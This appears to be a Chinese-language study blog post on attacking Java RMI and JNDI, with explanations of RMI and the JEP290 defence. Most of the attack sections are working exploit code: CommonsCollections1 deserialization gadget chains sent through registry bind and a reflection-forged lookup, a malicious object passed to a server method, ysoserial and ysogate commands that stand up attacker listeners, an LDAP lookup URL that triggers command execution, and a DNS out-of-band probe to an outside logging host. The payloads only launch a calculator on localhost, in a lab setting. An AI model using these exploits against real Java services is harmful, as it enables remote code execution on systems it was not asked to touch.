RMI
RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。
RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。
RMI包括以下三个部分:Server,Client,Registery.
这三者之间的通信方式大概如下.
简单来说就是Server将一个类绑定到Registery上,Client通过查询Registery的表项(字符串)来发出请求,然后Server将查询的类序列化以后返回.客户端有每个类对应的接口(被成为代理),可以对返回的序列化结果去反序列化.
下面是一个小的demo.
Server端
RemoteObj.java
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
RemoteObjImp.java
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}
@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
RMIServer.java
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
registry.bind("remoteObj", remoteObj);
}
}
Server端
RemoteObj.java
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
RMIClient.java
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}
上面就是一个rmi进行通信的典型例子.
针对rmi的攻击一共有三种情况:Client攻击Registery,Client攻击Server和攻击Client.
Client攻击Registery
在与Registery进行交互的时候一共有下面的几种方法:
- 0 —– bind
- 1 —– list
- 2 —– lookup
- 3 —– rebind
- 4 —– unbind
其中除了list以外,都有触发readObject的过程,都可以用来进行反序列化攻击.
以上面的rmi语法实验环境为例,在pom.xml中引入commons-collections3.2.1
依赖,来进行测试,通过cc1来执行命令.
创建一个bind的Client服务
package Client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); //解释二
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
/*
AnnotationInvocationHandler
*/
return poc;
}
}
成功弹出计算器.
rebind的攻击方式也如上,而lookup由于参数只能传入字符串,我们需要去通过反射去修改他的代码去完成攻击.
package Client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import Server.RemoteObj;
public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); //解释二
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
/*
AnnotationInvocationHandler
*/
return poc;
}
}
攻击Client
由于Server中的服务程序是封装的,也就是Client在调用的时候不知道究竟服务端发生了什么,所以要是能控制服务端的话可以随意对Client进行攻击.
本地起一个ysoserial去打cc5
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
在Client进行访问可以直接的执行命令.
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
Client攻击Server
这个也很好理解.比如Client要在Server中去执行一个含参数的方法,方法的参数是一个对象.那么处理方式必然是Client将对象序列化,传递给Server去反序列化,然后将恢复的对象作为参数传入去执行方法,然后将方法的执行结果在序列化后返回给Client.那么在Server中去进行反序列化的过程中,就会触发攻击.来看一个demo.
Server代码
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}
public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}
Client代码
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
也是成功的执行命令了.
JNDI
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。
jndi 在 jdk 里面支持以下四种服务
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
看一下JNDI注入的攻击流程图
JNDI+RMI实现攻击
这里理论上应该是能打的,在网上也看到了很多讲解的文章.然而照着这些文章复现,却没有一个打通的.发现网上的工具在打反序列化这里都不支持rmi协议,索性不管了.
JNDI+LDAP实现攻击
使用ysogate去起一个server.
java -jar .\ysogate-0.4.0-all.jar -m jndi -lp 1389
然后本地去模拟一个Client.
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Command/calc");
// new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");
}
}
成功的执行命令.
JNDI+DNS实现探测
可以用来探测是否存在JNDI注入漏洞.
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
// new InitialContext().lookup("ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Command/calc");
new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");
}
}
成功的构成DNS外带.
JEP290
先看一个图
大体反应出一个问题,就是在高版本的一些版本中,ldap是能打的,但是rmi打不了了.其原因就是java引入了JEP290防御机制,通过引入了白名单来限制反序列化.
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
因此可以在JRMP层去进行绕过.然儿实际上,我们连低版本的RMI都没有打通,更别说绕过这个了...
JNDI注入这里也算是草草的过完了,接下来直接去看fastjson吧...